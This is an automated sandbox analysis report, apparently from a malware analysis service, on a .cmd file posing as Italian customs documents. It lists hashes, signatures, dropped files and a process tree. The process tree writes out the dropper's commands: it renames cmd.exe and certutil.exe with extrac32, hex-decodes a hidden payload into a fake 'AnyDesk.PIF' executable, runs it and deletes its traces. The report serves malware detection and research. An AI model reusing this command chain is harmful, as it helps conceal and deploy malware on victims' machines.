Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-11-2024 02:07

General

  • Target

    Documentazione_Doganale_richieste_di_copia.cmd

  • Size

    3.4MB

  • MD5

    e83eaefa47746764ed0708da11cf890f

  • SHA1

    5986d2e1da1d6fa42825ae627ee688cac4530fd7

  • SHA256

    13e2c237c2fa5b146ada50ad1be0be71832e42b745f2bc82daa52558807a7aa6

  • SHA512

    d69fe44a64af8693c5d15dcc0d3773e3b30da540f90be0ba3addd1bbcf99c26632572f1a4eccf1838ac60da4e0d27b5700a4ebeeac8448f3c822e67399a9d251

  • SSDEEP

    49152:f6DzaZKYLJqhTLqP8gTM0BiuWSIRbWRIi9b:v

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 9 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Documentazione_Doganale_richieste_di_copia.cmd"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2692
    • C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      2⤵
        PID:2848
      • C:\Users\Public\alpha.exe
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\system32\extrac32.exe
          extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
          3⤵
            PID:2976
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2864
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Documentazione_Doganale_richieste_di_copia.cmd" "C:\\Users\\Public\\AnyDesk.jpeg" 9
            3⤵
            • Executes dropped EXE
            PID:2868
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2936
          • C:\Users\Public\kn.exe
            C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
            3⤵
            • Executes dropped EXE
            PID:2844
        • C:\Users\Public\Libraries\AnyDesk.PIF
          C:\Users\Public\Libraries\AnyDesk.PIF
          2⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          • Suspicious use of WriteProcessMemory
          PID:2736
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2736 -s 152
            3⤵
            • Loads dropped DLL
            • Program crash
            PID:2584
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
          2⤵
          • Executes dropped EXE
          PID:2676
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S
          2⤵
          • Executes dropped EXE
          PID:2564

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Public\AnyDesk.jpeg

        Filesize

        2.5MB

        MD5

        249b8941e9be56a05f2506bd021f97c0

        SHA1

        9719003f93839aa45568cf9ae911dde3745e1ce6

        SHA256

        43be45cca8380f82bfa444fcfc3f36223068f008cf552628ceb26858cebe8b9b

        SHA512

        420b1741e91984259c8527792e278e9880d842bb27aeed35f16eeaca04f6ea2ec186f3c7273f502ca31b8db00d5ffa37b6a4e135bc6c57a9b4dec79e152e7ef8

      • C:\Users\Public\kn.exe

        Filesize

        1.1MB

        MD5

        ec1fd3050dbc40ec7e87ab99c7ca0b03

        SHA1

        ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

        SHA256

        1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

        SHA512

        4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

      • \Users\Public\Libraries\AnyDesk.PIF

        Filesize

        1.2MB

        MD5

        bceea9753420a675af68cda43864438e

        SHA1

        0823f156da4f106a26b5738cf9f732d5dd68cdd8

        SHA256

        b6a6a59c8b8387233be03bb2111830d4e8aafec6a62a290090ae75cbff5736ec

        SHA512

        8dcd35be032e853bc785615e63993deb71fa2ef35a20db9427c2a281f20ea4768b3754b4887d212cc5867ee36e470d47e33a7333cc9ca0a22196ff8371e51490

      • \Users\Public\alpha.exe

        Filesize

        337KB

        MD5

        5746bd7e255dd6a8afa06f7c42c1ba41

        SHA1

        0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

        SHA256

        db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

        SHA512

        3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

      • memory/2736-34-0x0000000000400000-0x0000000000547000-memory.dmp

        Filesize

        1.3MB

      • memory/2736-35-0x0000000000400000-0x0000000000547000-memory.dmp

        Filesize

        1.3MB